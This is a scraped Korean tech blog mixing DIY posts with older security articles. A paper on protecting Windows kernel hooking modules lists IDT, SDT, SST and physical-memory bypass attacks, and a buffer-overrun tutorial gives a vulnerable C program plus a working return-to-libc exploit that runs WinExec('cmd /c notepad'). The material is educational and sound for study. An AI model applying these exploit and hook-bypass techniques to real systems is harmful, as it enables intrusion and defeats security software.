반응형


+ 클립을 물에 띄우기

준비물 ; 종이컵, 물, 클립.





팁: 칠전팔기 정신으로 될 때까지 한다!

와우 성공!!!


'만물상 DIY FIX' 카테고리의 다른 글

아이폰 케이블수리  (0) 2015.06.29
인터넷이갑자기안될때 혹시?  (0) 2015.06.26
고기굽는기계고치기  (0) 2015.06.23
천자기 만들기  (0) 2015.06.18
고무줄총, 새총 만들기(과정사진없음)  (0) 2015.06.10
반응형


+고무줄총 만들기

만드는 과정 사진은 없네요 ㅡ.ㅡ;;

별로 어렵지 않으니, 나무젓가락, 고무줄, 케이블타이만 있으면 됨.



+ 새총 만들기

옷걸이, 뺀찌, 테이프, 고무줄.

뺀찌로 옷걸이를 적당히 휘어서 Y자 모양으로 만든다. 양쪽끝에 고무줄을 달고, 가죽이 있으면 가운데 달아준다. 테이프로 적당히 감으면 끝.

'만물상 DIY FIX' 카테고리의 다른 글

아이폰 케이블수리  (0) 2015.06.29
인터넷이갑자기안될때 혹시?  (0) 2015.06.26
고기굽는기계고치기  (0) 2015.06.23
천자기 만들기  (0) 2015.06.18
클립이 물에 뜰까?  (0) 2015.06.12
반응형

제가 2004년에 썼던 글입니다.


DLKM 방식의 후킹 모듈 보호 메커니즘

요 약

운영체제의 시스템 서비스 테이블 또는 인터럽트 및 시스템 콜을 후킹하여 제어하는 보안 모듈이나 기타 커널 서비스들의 취약성이 많이 나타나고 있는 가운데 이를 방어하기 위한 기술들이 필요하게 되었다. 특히나 보안 후킹 모듈의 경우는 후킹 모듈의 취약성이 바로 보안 취약성으로 나타날 수 있기 때문에 더욱더 중요한 이슈가 되고 있다. 이에 본 논문에서는 DLKM 방식의 후킹 모듈을 보호하는 기술에 대하여 연구하기로 한다.


I. 서론

 

최근의 IT 정보보호기술 중 보안 침해 사고의 최종 목적인 시스템의 데이터에 대한 보호 기술인 Secure OS가 핵심 기술로써 많은 연구가 진행 중으로 있다.

이 Secure OS는 시스템에 가해지는 오퍼레이션이 작동하기 전에 접근 제어를 할 수 있는 시스템으로, 상황에 따라서 해당 오퍼레이션을 허용 또는 차단할 수 있는 기능을 가지고 있다. 즉 시스템 접근이 발생하는 게이트 부분을 후킹이나 다른 방법을 통하여 사전에 접근 판단 작업을 처리하는 것으로 시작되는 것이다.

오퍼레이션이 발생하기 전에 이를 제어하기 위한 방법으로는 커널 모듈로써 동적으로 작동할 수 있고, 시스템 콜 진입 부분을 후킹하는 DLKM(dynamic loadable kernel module) 방식이 있고, 직접 커널 코드를 수정하여 제어를 하는 Kernel-Modify 방식이 있다.

LKM (Loadble Kernel Module)의 정의는 실행중인 커널에 동적으로 로딩 또는 언로딩이 가능한 커널 프로그램으로 보통은 디바이스 드라이버를 로딩하는데 사용되며, 새로운 디바이스를 시스템에 장착시 커널을 새로 컴파일하고 재부팅해야 하는 불편함을 없애기 위한 목적으로 사용된다.

커널 후킹 방식 중 Kernel-Modify 방식은 커널 소스를 직접 수정하고 컴파일해야 하므로 OS에 의존적인 부분이 상당히 있으며, 시스템의 패치나 기타 환경 변화에 영향을 받는다는 단점이 있다. 반면 DLKM 방식은 기존 커널의 변경 없이 동적으로 작동할 수 있는 장점은 있지만, 후킹 포인트를 해킹당할 위험성을 내포하고 있다.

이에 본 논문에서는 DLKM 방식의 후킹 모듈의 단점인 후킹 우회 공격에 대비하기 위한 보호 메커니즘에 대하여 Windows 운영체제를 예시로 들어 상세히 설명하기로 한다.

본 논문은 2장에서 시스템 콜이 처리되는 과정과 DLKM 방식의 후킹이 어떤 식으로 구성되는지를 기술하고, 3장에서는 후킹 모듈의 우회 공격 방법에 대해 알아본다. 4장에서 이러한 공격들을 막는 방어 메커니즘을 알아보고, 마지막으로 5장에서 본 논문의 결론에 대하여 기술한다.

II. 시스템 콜 처리 과정 및 후킹

DLKM 방식의 후킹 모듈을 공격하기 위해서는 먼저 API (Application Program Interface)가 어떻게 처리되는지 살펴보기로 하고, 어떻게 후킹을 하는지에 대한 원리를 이해해야 하므로 그 과정을 살펴보기로 한다.

 

1. 시스템 콜 처리 과정

어플리케이션에서 하나의 시스템 콜이 발생하면 다음과 같은 과정이 수행된다.

•사용자 메모리에 적재된 ntdll.dll 모듈에서 user mode의 native api (Zw*) 주소를 찾는다.

ntdll ! Zw* 계열의 user mode native api가 실행된다.

Zw* api에서는 해당 시스템 콜의 서비스 인덱스 번호를 레지스터에 설정하고, 인터럽트 0x2E 를 발생시킴으로써 커널 모드로 진입한다.


 

0: kd> u ntdll!ZwCreateFile

ntdll!NtCreateFile:

77f8f9ba b820000000 mov eax,0x20

77f8f9bf 8d542404 lea edx,[esp+0x4]

77f8f9c3 cd2e int 2e

77f8f9c5 c22c00 ret 0x2c


•IDT (interrupt descriptor table)에서 인터럽트 번호 0x2E의 핸들러인 KiSystemService 모듈이 수행된다.


 

0: kd> r idtr

idtr=80036400

 

typedef struct _IDTGATE {

unsigned short off1;

unsigned short sel;

unsigned char none, flags;

unsigned short off2;

} IDTGATE, *PIDTGATE;

 

IDTGATE 레코드 하나의 노드 사이즈는 8 바이트로 구성된다. 따라서 0x2e 인덱스의 옵셋은 0x2e * 8 = 0x170

그러므로, 인터럽트 0x2e의 IDTGATE 주소는 0x80036570이 된다.

 

0: kd> db 80036570

80036570 c0 62 08 00 00 ee 46 80-9c 99

이 데이터를 IDTGATE 구조체에 맞추면, off1=62c0, off2=8046 이 되고, 실제 주소를 계산하면 (off2 || off1) = 0x804662c0

0: kd> ln 804662c0

(804662c0) nt!KiSystemService | (8046639b) nt!KiServiceExit

Exact matches:

0: kd> u kisystemservice

nt!KiSystemService:

804662c0 6a00 push 0x0

804662c2 55 push ebp

...

즉, KiSystemService의 주소와 일치함을 알 수 있다.


KiSystemService에서는 SDT (Service Descriptor Table)에서 SST (System Service Table)의 주소를 참조하고, 해당 서비스 번호를 인덱스로 하여 실제 kernel native api 주소를 찾는다.


 

0: kd> dd KeServiceDescriptorTable

80483560 80474f00 00000000 000000f8 804752e4

80483570 00000000 00000000 00000000 00000000

80483580 bd126840 00000000 00000007 bd126860

80483590 00000000 00000000 00000000 00000000

0: kd> ln 80474f00

(80474f00) nt!KiServiceTable | (804752e0) nt!KiServiceLimit

Exact matches:

SDT에서 SST주소를 찾았다.

ZwCreateFile의 서비스 번호 0x20의 주소를 계산해 내면, 옵셋이 0x20*4 = 0x80이 되고 주소는 0x80474f80이 된다.

0: kd> dd 80474f80

80474f80 804a91a0 804a8bb8 804e67a0

0: kd> ln 804a91a0

(804a91a0) nt!NtCreateFile | (804a91d2) nt!NtCreateNamedPipeFile

Exact matches:

nt!NtCreateFile = <no type information>

0: kd> u nt!ntcreatefile

nt!NtCreateFile:

804a91a0 55 push ebp

804a91a1 8bec mov ebp,esp

804a91a3 33c0 xor eax,eax

804a91a5 50 push eax

804a91a6 50 push eax

NtCreateFile의 주소와 일치하였다.

•ntoskrnl 내부의 native api가 수행된다.


그림 1은 Windows 2000에서 시스템 콜 처리 과정을 도식화 한 것으로 OpenFile이라는 API가 발생되었을 경우 내부적으로 ZwCreateFile system call이 수행되는 예를 든 것이다.

1. 시스템 콜 후킹 메커니즘

DLKM 방식의 일반적인 시스템 콜 후킹 메커니즘은 SST라는 System Service Table을 변경하여 시스템 콜의 주소를 바꿔주는 방법을 많이 이용한다. Windows 시스템의 SST가 바로 UNIX나 LINUX 시스템의 시스템 콜 엔트리 테이블에 해당된다.


그림 2는 DLKM 방식의 시스템 콜 후킹 메커니즘을 도식화한 것이다. 그림에서 DLKM 후킹 모듈은 hooker 모듈이 해당되며, hooker 모듈 로딩시, SST의 시스템 콜 주소 레코드를 변경하면 가능하다. 여기서는 NtCreateFile 시스템콜이 발생하는 경우 hooker 모듈의 New_NtCreateFile 이 작동되게 된다.

I. LDKM 후킹 모듈 우회 공격 기술

앞에서 설명한 LDKM 방식의 정상적인 후킹 모듈에는 큰 취약성이 있다. 후킹을 우회하는 공격포인트가 여러군데 보이기 때문이다. 시스템 콜의 처리 과정에서 참조되는 메모리는 모두 공격 포인트가 될 수 있기 때문이다. 즉, IDT, SDT, SST 메모리를 누군가 접근하여 변경시키게 되면 시스템 콜의 우회를 가능하게 할 수 있다.

1. IDT (Interrupt Descriptor Table) 공격

인터럽트가 처리되는 핸들러가 등록된 IDT (Interrupt descriptr toable)에 시스템 콜 인터럽트인 0x2E 인터럽트 핸들러나, 0x01인 디버그 핸들러 등 여러 가지 인터럽트에 대한 주소를 변경함으로써 시스템 콜 처리 과정을 변경시킬 수 있다.


그림 3은 IDT에서 시스템 콜 인터럽트 핸들러를 가상으로 변경해 본 그림이다. KiSystemService 모듈에서 처리하는 과정이 핸들러 주소의 변경에 따라 정상적인 시스템 콜 처리를 충분히 방해할 수도 있으며, 복잡하지만 원래의 시스템 콜 주소를 이용하여 후킹을 무력화 시킬 수 있는 공격이 이론상 충분히 가능하다.

1. SDT (Service Descriptor Table) 공격

KiSystemService에서 SDT를 참조하여 SST 주소를 구하는데, 이 과정에서 SDT를 변경하여 SST를 바꿔칠 수 있다.

 

그림 4는 DLKM 후킹 모듈이 기존의 SST를 변경시켜 후킹을 했다 하더라도, SDT에 등록된 SST의 주소를 미리 백업 받아둔 backuped SST의 테이블의 주소로 변경함으로써 후킹을 무력화 시킬 수 있음을 보여준다.

 

1. SST (System Service Table) 접근 공격

Windows 시스템에서의 SST는 Unix나 Linux시스템에서의 시스템 콜 엔트리 테이블과 마찬가지로 실제 native api의 주소가 기록되어 있다. LDKM 후킹 모듈은 일반적으로 이 테이블을 변경하여 작동하게 된다. 여기서는 정상적인 DLKM 후킹 모듈이 SST를 후킹하였음에도 이 후에 다른 커널 모듈에 의하여 재 후킹이 된 경우를 의미한다.


그림 5는 이미 hooker에 의해 시스템 콜이 후킹된 상태에서 다른 커널 모듈에 의해 SST를 원상 복구 시킬 경우, 후킹을 우회할 수 있는 공격을 설명하고 있다.

이 경우는 여러 가지 DLKM 후킹 모듈을 한 시스템에서 작동시키는 경우 모듈 간 충돌이 발생되는 원인이기도 하다.

1. Physical Memory 접근 공격

위에서 설명한 세가지 공격 방식은 모두 커널 모듈을 작동시켜 시스템 콜 처리시 참조되는 메모리를 커널 모드에서 커널 메모리를 수정함으로써 작동한다.

Physical Memory 접근 방식은 위의 세 가지 공격을 커널 모드로 가지 않고도 수행하게끔 도와주는 메커니즘이다. 즉 실제 공격방법은 위의 세 가지 방법으로 수행하는 것이다.

일반적으로 커널 메모리의 수정은 유저 모드에서 불가능하도록 되어 있다. 그러나, 운영체제에서 제공하는 physical memory 디바이스를 통한 수정은 가능하다.


 

 

1. \device\physicalmemory 디바이스를 오픈

(NtOpenSection)

2. 물리적 메모리를 프로세스의 가상 메모리에 매핑한다.

(NtMapViewOfSection)

3. 커널 메모리를 수정한다.

 

 

1. Symbolic link & Physical Memory 접근 공격

이 공격 방법은 4와 동일하지만 약간 진화된 형태로 \device\physicalmemory 디바이스에 접근하는 오퍼레이션을 막은 경우에 가능한 방법이다.

즉, \device\physicalmemory에 심볼링 링크를 생성한 디바이스를 새로 만들어 심볼릭 링크로 디바이스에 접근하는 방식이다.


 

 

1. \device\physicalmemory 디바이스에 symbolic link로 연결할 새로운 디바이스를 만든다.

(IoCreateSymbolicLink)

2. symbolic link로 생성된 디바이스를 오픈

(NtOpenSection)

3. 물리적 메모리를 프로세스의 가상 메모리에 매핑한다.

(NtMapViewOfSection)

4. 커널 메모리를 수정한다.

 


 

I. DLKM 후킹 모듈 우회 공격에 방어 메커니즘

앞에서 설명한 5가지 형태의 DLKM 후킹 모듈 공격 방법은 실제 구현 가능하며, 이미 나와 있는 공격 툴들도 존재한다.

본 장에서는 어떻게 DLKM 후킹 모듈에 대한 공격을 대비해야 하는지에 대한 보호 메커니즘을 설명하였다.

1. 커널 모듈 로딩 제어

인가된 커널 모듈만 로딩 할 수 있도록 제어한다.

위에서 설명한 IDT, SDT, SST 공격 방법은 커널 모드인 Ring 0 모드에서 수행되므로, Ring 0에 진입하기 전인 커널 모듈 로딩 시에 허용된 커널 모듈만 드라이버 로딩을 허용하고, 그 외에는 드라이버 로딩을 불가능하게 접근 제어를 한다.

이렇게 함으로써 불법적인 드라이버들이 커널 모듈로 작동할 수 없게 되어 Ring 0 모드로의 진입을 차단할 수 있어, 커널 모드에서의 위의 세가지 공격을 방어할 수 있다.

2. Physical Memory 디바이스 접근 제어

직접적으로 Ring 0에 진입하지 않고도 공격하는 형태인 4, 5방법의 경우는 인가된 프로세스만 physical memory 디바이스에 접근할 수 있도록 제어한다.

\device\physicalmemory 디바이스에 접근하는 오퍼레이션을 허용된 프로세스만 접근을 허용하고 그 외의 프로세스는 접근을 거부하여 공격 위협을 차단할 수 있다.

그러나, 공격 방식 5번의 경우처럼 디바이스명을 심볼릭 링크로 접근할 수 있으므로 링크인 경우 대상 디바이스명을 추적하여 physicalmemory 디바이스에 접근하는지도 검사하여 같은 과정을 수행함으로써 제어한다.

3. 주기적인 커널 메모리 무결성 복구

인가된 프로세스 나 커널 모듈에서의 공격에 대한 방어나 기타 예기치 못한 공격이 발생할 수 있으므로, 이에 대비하기 위해 커널 쓰레드를 이용하여 주기적인 IDT, SDT, SST의 무결성 검사를 수행한다.

최초 DLKM 후킹 모듈이 작동한 이후의 IDT, SDT, SST의 메모리를 미리 백업해 두고, 주기적으로 각 메모리 영역의 무결성이 훼손되었는지 점검하고, 무결성이 깨진 경우 백업 받은 메모리를 덮어쓰는 것으로 원상 복구시킨다.

물론, 실시간 방어 기술이 아닌 주기적인 검사이기 때문에 완벽한 대응 방법은 아니다. 그러나 예기치 못한 상황에서 후킹이 우회 되는 경우, 후킹 기능을 복원할 수 있기 때문에 어느 정도 효과를 기대할 수 있을 것이다.

II. 결 론

이제까지 DLKM 후킹 모듈의 구조 및 후킹 모듈의 공격 형태와 이를 보호하기 위한 메커니즘을 살펴보았다.

DLKM 후킹 모듈을 접근 제어 목적으로 사용하는 보안 소프트웨어는 앞에서 제시한 DLKM 후킹 공격을 통해 접근 제어가 우회되는 취약성에 대비해야 그 목적을 정상적으로 수행할 수 있다.

따라서 본 페이퍼에서 제시한 커널 모듈 로딩 접근 제어, 메모리 디바이스 접근 제어, 커널 메모리 무결성 검사 이 3가지 보호 메커니즘을 활용한다면 보다 안전한 DLKM 후킹 모듈로써 기능을 다 할 것이라 기대한다.


참 고 문 헌

[1]Secure OS기반의 지능형 다단계 정보보호시스템, 정보처리 학회, 2003

[2]전산망정보보호 - 접근통제기술, 한국정보보호센터, 1996.12.

[3]Advanced Windows 2000 Rootkits Detection Jan K.Rutkowski, 2003 July

[4]Detecting Windows Server Compromises with Patchfinder 2, Joanna Rutkowska

[5]Avoiding Windows Rootkit Detection, Edgar Barbosa, 2004 Feb

[6]Undocumented Windows 2000 Secrets, SVEN B. SCHREIBER

[7] 커널 루트킷(Root) 탐지 방법 , 아주대 정보통신 대학원, 2001.10



 







'Security' 카테고리의 다른 글

openssl 커맨드 / 암호화  (0) 2018.03.02
버퍼오버런(Buffer-Overrun)의 실체와 분석  (0) 2015.06.06
해시(Hash)  (0) 2015.06.02
반응형


2005년에 제가 작성했던 글입니다. 


요 약

대부분의 운영체제 및 어플리케이션의 해킹 방법 중 하나인 버퍼 오버플로우와 변종 형태인 버퍼 오버런에 대하여 원인을 분석하고 이해할 수 있도록 설명한다.

18, Aug, 2005

Written by 크레이지제이

 I. 서론

버퍼오버플로우 기법은 1988는 Robert Morris fingerd attack으로 알려지기 시작해 악의적인 목적을 가진 침입 방법으로 가장 많이 사용되고 있다.

Overflow는 Stack Overflow, Frame pointer overflow, Format string overflow, Heap overflow 등으로 구분되어진다.

그러나, 여기서 설명하고자 하는 Buffer overrun은 Buffer overflow와는 약간 차이점이 있다.

과거 인터넷 대란을 일으켰던 SQL slammer 웜의 경우가 바로 버퍼오버런 공격 형태에 해당된다.

 

II. 버퍼오버플로우 vs. 버퍼오버런

 

Buffer overflow는 특정 영역(스택, 힙, 데이터 영역 등)을 오버플로우 시켜서 프로그램의 정상적인 의도를 벗어나 예외 상황을 만듦으로 인해서 주소 변경이나 데이터 변경을 통해 쉘코드의 수행이나 특정 오동작을 일으키는 방법으로 공격이 수행되는 코드는 스택이나 힙, 데이터 영역드에 추가되어 수행되지만, Buffer overrun은 버퍼를 오버플로우 시키는 과정은 동일하지만, 공격 수행 코드가 코드 영역에 정상적으로 존재한다는 점에서 일반적인 버퍼 오버플로우 방지 기능으로 탐지 및 방어가 되지 않는다는 점을 들 수 있다.

일반적으로 버퍼오버플로우의 탐지 및 방어 메커니즘은 IP(instruction pointer)가 스택이나 힙등의 영역을 가리키는 경우 비정상적인 코드 수행으로 판단하여 이를 방지하는 방법이다.

그러나 버퍼오버런의 경우 리턴 주소를 변경시켜서 스택을 적절히 원하는 데이터로 조작하고 정상적인 동적 라이브러리의 API를 호출하게 함으로써 공격 코드가 코드 영역에서 발생하여 탐지가 되지 않는다.

 

III. 버퍼 오버런 공격 과정

 

1. 피공격 프로그램

 

#include <stdio.h>

 

int main(int argc, char* argv[])

{

char buffer[256]=""

FILE *fd = NULL

fd = fopen("file.txt", "rb")

if ( fd==NULL )

return printf("Couldn't open file file.txt\n")

fgets(buffer, 1000, fd)

fclose(fd)

return 0

}

 

위 프로그램은 file.txt 라는 데이터를 읽어들이는 프로그램이다. 일반적으로 stdin으로 입력받는 프로그램의 경우는 file.txt 파일의 내용을 stdin으로 보내면 동일한 효과가 나타난다.

여기서 취약한 코드가 되는 부분은 버퍼의 크기보다 읽어들인 버퍼가 더 커서 오버플로우가 발생할 가능성이 있다는 것이다.

공격을 쉽게 하기 위해서 위의 프로그램을 디버그 모드로 돌려서 buffer 주소를 알아둔다.

VC에서 디버그 모드로 buffer의 주소를 출력해본 결과 0x0012fe80 이었다.

이를 이용하여 간단한 버퍼 오버런 공격 프로그램을 작성해 보자.


 

2. 공격 프로그램

 

#include <windows.h>

#include <stdio.h>

 

char buffer[500]="cmd /c notepad &AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\

AAAAAAAAAABBBBBBCCCC"

int main(int argc, char* argv[])

{

charsraddress[8]={0,}

charpadding[8]="\x90\x90\x90\x90"

charpointer_to_command[8]="\x80\xFE\x12\x00"

FILE*fd = NULL

intfunc

fd = fopen("file.txt", "w+")

func=(int)(void*)WinExec

memcpy(sraddress, &func, 4)

memcpy(buffer+260, sraddress, 4)

memcpy(buffer+264, padding, 4)

memcpy(buffer+270, pointer_to_command, 4)

fprintf(fd, "%s", buffer)

fclose(fd)

printf("WinExec=%p\n", WinExec)

return 0

}

 

위의 공격 프로그램은 피 공격 프로그램이 읽어들일 버퍼를 파일로 생성하는 과정을 수행한다.

공격이 성공하면 피공격 프로그램 실행시 노트패드 프로그램이 실행되는 결과가 나타날 것이다.

일단 공격이 수행되는 과정을 분석해 보자.

피 공격 프로그램에서 눈여겨 보아야 할 것은 버퍼의 크기가 256바이트로써 오버플로우가 발생되면 스택의 어느 영역을 침범하는지를 알아야 한다.

 

피 공격 프로그램의 스택은 다음과 같이 구성된다.


파라미터(역순으로), 리턴 주소, 이전 모듈의 frame pointer, 마지막으로 로컬 변수가 스택에 차례로 쌓인다. Buffer가 256바이트가 넘어가면서부터는 ebp, ret 등 순서로 덮어쓰게 되는 것이다.

즉, ret 부분을 우리가 원하는 주소로 변경하게 되면 해당 주소의 코드가 수행이 될 것이다.

ret 주소는 buffer+256+4의 위치가 된다.

 

공격 프로그램에서는 위의 주소에 WinExec 함수의 주소를 입력하게 할 것이며, WinExec의 파라미터로 "cmd /c notepad" 스트링이 입력되게 할 것이다.

 

따라서 공격 프로그램에서 buffer+260 위치에 WinExec 함수의 주소를 입력하였음을 알 수 있다.

또한 그 이후, padding 4바이트와 pointer to command 4바이트(피공격 프로그램에서의 buffer 주소=0x0012fe80)를 입력하였다.

- fgets함수 호출 전 상황


- fgets 호출 이후,


위 그림에서 첫 번째 박스는 Buffer+260위치인 ret address 자리에 WinExec 함수의 주소인 0x7c86114d를 세팅하였다. (원래는 0x004015cc로 mainCTRStartup 모듈의 주소였다.)

WINBASEAPI UINT WINAPI WinExec ( LPCSTR lpCmdLine, UINT uCmdShow ) 함수의 파라미터로 uCmdShow와 lpCmdLine 주소가 세팅된 스택 상황을 연출하는 작업을 해야 한다.

main 함수는 cdecl이므로 스택정리를 main내에서 수행하지 않는다.



따라서 function epilogue 과정인 mov esp, ebp; pop ebp 과정을 수행한 다음 리턴을 하게 되는데, 리턴주소였던 영역이 pop되면서 sp가 감소하고 WinExec 주소로 이동하게 된다. WinExec에서는 function prologue 과정인 push ebp; mov ebp, esp을 수행한다. 이 상태의 스택 상황은 다음과 같다.


ebp의 값이 0x12ff84로 새로운 esp와 동일하다.(0x43434343은 saved ebp가 된다.)

ebp+4에 0x909090은 ret address가 된다.

ebp+8부터는 WinExec의 파라미터가 된다. lpCmdLine의 값이 0x0012fe80이 되며, uCmdShow의 값은 0x00430d60이 된다.

즉, WinExec의 lpCmdLine에 원하는 커맨드("cmd /c notepad & ...")를 설정하게 되었으므로, main의 리턴으로 WinExec의 모듈에 해당 버퍼가 들어감으로써 노트패드 프로그램이 수행이 된다.


 

 

V. 결론

이제까지 버퍼오버런의 공격 과정을 알아보았다. 일반 버퍼오버플로우와 다르게 커널에 상주한 동적 라이브러리인 WinExec 함수가 호출되어 코드 영역에서 수행되는 점에서 일반 다른 버퍼 오버플로우의 스택에서 수행되는 방식과는 다르게 다른 프로그램을 수행할 수 있는 가능성을 보여준 예이다.

안전한 코딩을 위해서는 항상 버퍼 사이즈 체크를 하며, 기타 컴파일러 옵션에 따른 스택 보호 기술등을 이용해야 할 것이다.

 






'Security' 카테고리의 다른 글

openssl 커맨드 / 암호화  (0) 2018.03.02
DLKM 방식의 후킹 모듈 보호 메커니즘  (1) 2015.06.07
해시(Hash)  (0) 2015.06.02
반응형

제가 2004년도에 윈도우 64비트 프로그래밍을 시작할 때 작성했던 글인데, 우연히 발견하게 되어서 올립니다.

요 약

윈도우즈 운영체제가 32비트에서 64비트로 확장함에 따라 처리 속도 및 효율성 측면에서 성능이 많이 좋아졌다. 그러나, 그 성능을 제대로 발휘하기 위해 대부분 기존의 32비트 프로그램을 64비트로 포팅해야 한다. 그러나 주소 지정 방식이 과거 32비트에서 64비트로 확장됨에 따라 포팅시 고려해야 할 사항들을 정확히 알아야지만, 성공적으로 진행할 수 있을 것이다. 여기서는 윈도우 운영체제의 과거 32비트에서 64비트 플랫폼으로 마이그레이션할 수 있는 포팅 테크닉을 소개한다.

27, Feb, 2004

Written by 크레이지제이

I. 서론

윈도우즈 64비트 운영체제는 개발은 몇 년 전에 되었지만, 아직 베타 테스트 중이다. 앞으로 상용화가 얼마나 잘 이루어질지 모르지만, 사용하는 곳이 많아진다면 소프트웨어나 하드웨어 관련 업체는 모두 적지 않은 영향을 받을 것이다.

64비트 운영체제에서 기존의 32비트 어플리케이션을 지원한다고는 하지만 32비트 레이어를 통해서 내부적으로 64비트 연산 작업이 이루어지기 때문에 속도가 저하될 가능성이 크다. (즉, 주소 자동 변환 과정을 한 번 더 통과해야 한다.) 따라서 64비트 어플리케이션으로 포팅을 하면 별도의 레이어를 통하지 않고, 바로 명령이 수행되기 때문에 높은 성능을 발휘할 것이다.

본 페이퍼에서는 32비트 윈도우 어플리케이션 및 디바이스 드라이버를 64비트로 포팅하기 위한 테크닉 및 Know-How를 기술하는데, 주된 목적은 어떻게 하면 보다 기존의 소스를 그대로 유지하여 32비트, 64비트를 모두 지원하는 방면을 찾는 것이다. 이로 하여금 개발자들의 소스 관리를 편하게 하여, 버그의 발생을 줄일 수 있으며 형상 관리에도 도울을 줄 수 있을 것이다.

II. 윈도우 64비트 운영체제

마이크로소프트에서 현재 64비트를 지원하는 운영체제는 Windows 2003 Enterprise Edition 64-bit, Windows 2003 Datacenter Edition 64-bit, Windows XP 64-bit 가 있다. 아직 국내에는 제대로된 64비트 윈도우 운영체제가 출시되지는 않았다.

윈도우즈 32비트 운영체제에서는 4기가까지의 물리적인 메모리를 지원하나 64비트 운영체제에서는 16 테라 바이트까지 지원할 수 있다. 이로 인해 어플리케이션은 다음과 같은 장점이 생긴다.

메모리 확장으로 인해 어플리케이션에서 더 많은 사용자를 지원할 수 있으며, 보다 높은 성능을 내고, 데이터를 저장 또는 가공 시 더 많은 메모리를 할당할 수 있어 DiskIO가 적게 발생한다.

 

 

III. 64비트 포팅시 주의 사항

64비트 포팅을 위해서는 새로운 데이터 타입이나 Helper 함수들을 사용하기 위해 Platform SDK를 설치해야 한다. Visual Studio 개발도구나 Makefile에서는 Include 디렉토리의 우선 순위를 일반 VC의 include보다 Platform SDK의 include가 높게 해야 한다. (같은 헤더 파일명이 존재할 시, 먼저 참조되도록 해야 한다.)

다음은 32비트 프로그래밍과 64비트 프로그래밍을 하는 경우에 자료구조나 프로그램 구조의 변화나 고려해야될 사항들을 설명하였다.

 

1. 데이터 타입

 

- 과거 데이터 타입 ; 대부분은 변하지 않았으나, 포인터 타입이 64비트로 확장되었다.

* 사이즈가 변경되지 않은 데이터 타입

- char/uchar=8bit, short/ushort=16bits,

- long/ulong=32bits

- LONG과 ULONG = (32 bits)

- INT, UINT, DWORD = (32bits)

- LONGLONG, ULONGLONG = (64bits)

 

* 사이즈가 변경된 데이터 타입

- pointer(char*, PDEVICE_OBJECT... ) = 32bits에서 64bits로 확장되었다.

 

- 새로운 데이터 타입 ; ULONG_PTR, LONG_PTR 타입은 32비트 컴파일러로 컴파일하면 32비트 사이즈로 인식되며, 64비트 컴파일러로 컴파일하면 64비트 사이즈로 인식된다.

 

- 다른 64비트 윈도우 플랫폼과는 달리 AMD64에서는 자료 구조의 "natural" alignment의 실패 (즉, ULONG은 32bit boundary, ULONGLONG은 64비트 boundary로 align하지 못한다.) 가 침형적 에러를 발생시키지 않는다. -> 따라서 이점을 유의하지 않으면, AMD64에서 죽지 않던 것이 다른 곳에서는 블루 스크린을 띄울 수 있다.

 

- 포인터의 정상 사용은 걱정할 필요 없다. 운영체제에 따라 32비트 또는 64비트로 자동으로 인식되기 때문이다.

 

2. 파라미터

 

- 파라미터로 패싱되는 포인터의 자동 인식 ; 32비트 어플리케이션에 의한 포인터 파라미터가 자동으로 64비트로 변경되어 처리된다.

예를 들어 32비트 또는 64비트 어플리케이션에 의한 함수 호출에 관계없이 드라이버에서는 Irp-> UserData 포인터가 64비트로 자동으로 인식될 것이다.

 

3. 버퍼 내 포인터

 

- IOCTL Buffers에 임베디드된 포인터 ;

몇 몇 드라이버들은 주의해야 될 사항이다. IOCTL 버퍼에 포인터가 포함되어 있는 경우, 드라이버는 호출자가 32비트 또는 64비트 어플리케이션 중 어떤 것인지 주의해야만 한다. IOCTL_IN_BUFFER과 OUT_ BUFFER를 가리키는 포인터는 윈도우에 의해 자동으로 변환된다. 그러나, 이 버퍼의 내용에 포인터를 포함하고 있다면, 포팅시 32비트 포인터를 64비트 사이즈로 확장해 주어야 한다.

 

4. 기타

- In-Line Assembler, MMX, 3DNow, and X87 FP 명령어는 지원하지 않는다!!! embedded assembler, MMX, 3DNow, X87 floating pointer는 쓰지 말아라. 다행히 SSE, SSE/2 명령어는 지원한다.

 

간단히 쉽게 정리하자면, 임베디드 어셈블러를 사용하지 말고, IOCTL 버퍼 내에 포인터를 사용하지 않고,(사용하면 64비트로 확장) ULONG을 ULONG_PTR 타입으로 변경(포인터와 관련있다면)하고 컴파일한다.

 

IV. 64비트 포팅 적용

1. 적절한 데이터 타입

 

- 자료 구조에서 포인터를 명시적으로 ULONG타입으로 캐스트하는 경우이다. 컴파일러에 따라 포인터의 사이즈가 달라지기 때문이다. 따라서 이 부분은 ULONG_PTR 타입으로 바꿔주어야 한다.

 

ULONG currentMdl ;

ULONG MdlPointers[10] ;

devExt->MdlPointers[currentMdl++] =

(ULONG) Irp->MdlAddress ;

 

위의 코드는 64비트에서는 작동하지 않는다. 다음과 같이 수정하면 32비트, 64비트가 컴파일러에 따라 모두 적절히 작동된다.

ULONG_PTR MdlPointers[10] ;

devExt->MdlPointers[currentMdl++] =

(ULONG_PTR) Irp->MdlAddress ;

또는

PMDL MdlPointers[10] ;

devExt->MdlPointers[currentMdl++] = (PMDL)

Irp->MdlAddress ;

- Align pointer precision 자료 구조

 

강제로 alignment를 변경하는 pragma는 편할 수 도 있지만 꼭 필요한 경우가 아니면 쓰지 말자.

// #pragma pack(4) // 4 바이트 단위로 정렬

ULONG ulTest ;

ULONG_PTR pTest ;

// #pragma pack() // 해제 (디폴트 단위로..., natural boundary)

구조체에서 필드들의 사이즈는 alignment 단위로 맞춰지기 때문에 자신도 모르게 dummy 메모리가 할당이 된다.

위의 구조체의 크기는 64비트 컴파일러에서 8 byte단위로 alignment가 맞춰지기 때문에 16바이트가 할당이 된다. (32비트 컴파일러에서도 ULONG_PTR대신 64비트 자료형을 써주면 최대 크기인 8바이트 단위로 alignment가 설정된다.) ulTest뒤에 4바이트의 메모리가 더미로 존재하고 8바이트의 pTest가 할당이 되기 때문이다. 강제로 alignment를 4바이트로 설정하는 pragma pack(4) 를 적용하면 12바이트가 되는 것이다.

따라서 명시적으로 dummy 필드를 써 주는 것이 나중을 위해서 좋다. 다음과 같이 구조체 필드를 만들어 확실히 16바이트라는 것을 인지한다.

ULONG ulTest ;

ULONG dummy0; // dummy 추가

ULONG_PTR pTest ;

 

2. The Pointer in DataBuffer

 

